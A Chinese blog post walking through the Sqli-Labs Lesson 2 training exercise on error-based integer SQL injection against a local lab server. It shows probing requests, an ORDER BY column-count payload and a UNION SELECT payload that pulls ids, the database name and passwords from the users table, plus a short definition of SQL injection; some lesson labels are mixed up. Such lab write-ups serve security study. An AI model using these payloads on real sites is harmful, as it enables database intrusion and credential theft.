美文网首页
Sqli-Labs_Lesson_2 Get - Error b

Sqli-Labs_Lesson_2 Get - Error b

作者: 陌小皓 | 来源:发表于2017-02-19 11:41 被阅读0次

    Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。

    项目地址:https://github.com/Audi-1/sqli-labs



    Lesson-1 #Get - Error based - Intiger based (基于错误的GET整数注入)

    运行测试环境:http://localhost/sqli-labs-master/Less-2/

    输入ID参数1:http://localhost/sqli-labs-master/Less-2/?id=1,返回正常,继续测试陆续输入2,3,4,5,6....,均返回正常,而且随着参数ID值的改变,页面返回的name和Password的值也会出现不同


    根据上面情况,推测出数据库操作指令:

    SELECT name,Password FROM TABLE WHERE ID=INPUT_ID

    我输入单引号进行测试:

    http://localhost/sqli-labs-master/Less-2/?id=%27test

    网站报出错误信息:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test LIMIT 0,1' at line 1

    根据报错信息可以推测出更加详细的SQL语句:

    由错误提示【'    'test     LIMIT 0,1    '】推测的SQL语句不存在单引号

    SELECT name,Password FROM TABLE WHERE ID=$ID

    发现报了SQL语句的语法错误,应该存在SQL注入,我们直接来构造payload:

    利用order by测试数据库中的列数:

    http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

    发现当3的时候不报错,4的时候报错,知道数据库表中有三个字段


    So,看一下源代码:

    因为完全不用闭合‘或者注释后面的’,但因为这里只是从结果集获取1行数据,要获取全部数据还是要注释后面的,自己加个limit子句

    http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,concat_ws(char(32,58,32),id,database(),password)%20from%20users%20limit%200,1%20%23



    最后用注入神器SQLMAP来验证一下,结果如下:



    SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    相关文章

      网友评论

          本文标题:Sqli-Labs_Lesson_2 Get - Error b

          本文链接:https://www.haomeiwen.com/subject/qbyrwttx.html